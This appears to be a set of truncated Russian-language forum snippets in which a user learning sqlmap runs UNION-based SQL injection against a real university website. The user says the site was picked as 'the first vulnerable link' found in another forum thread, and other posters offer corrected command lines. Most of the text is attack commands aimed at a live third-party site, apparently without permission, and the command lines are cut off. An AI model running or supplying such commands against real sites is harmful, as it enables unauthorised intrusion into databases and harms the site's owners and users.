Separate names with a comma.
Добавил --string и вуаля: ./sqlmap.py -p vid -u 'https://www.htw-dresden.de/index.php?id=9147&vid=239' --technique='U' --union-char="100500"...
sqlmap отправляет нужный запрос: ./sqlmap.py -p vid -u 'https://www.htw-dresden.de/index.php?id=9147&vid=239' --technique='U'...
да, я понимаю, что тут и руками не сложно. Вот именно поэтому и взял простой пример, где понимаю, как все приосходит "руками", что бы разобраться...
Да, спасибо. Как минимум, тут точно есть ошибка, но все равно это не помогает: Более правильный вариант: ./sqlmap.py -p vid -u...
Разбирабюсь с sqlmap. Взял первую попавшуюся уязвимую ссылку: http://forum.antichat.ru/threads/424558/page-3#post-3893898 и пытаюсь сканировать....
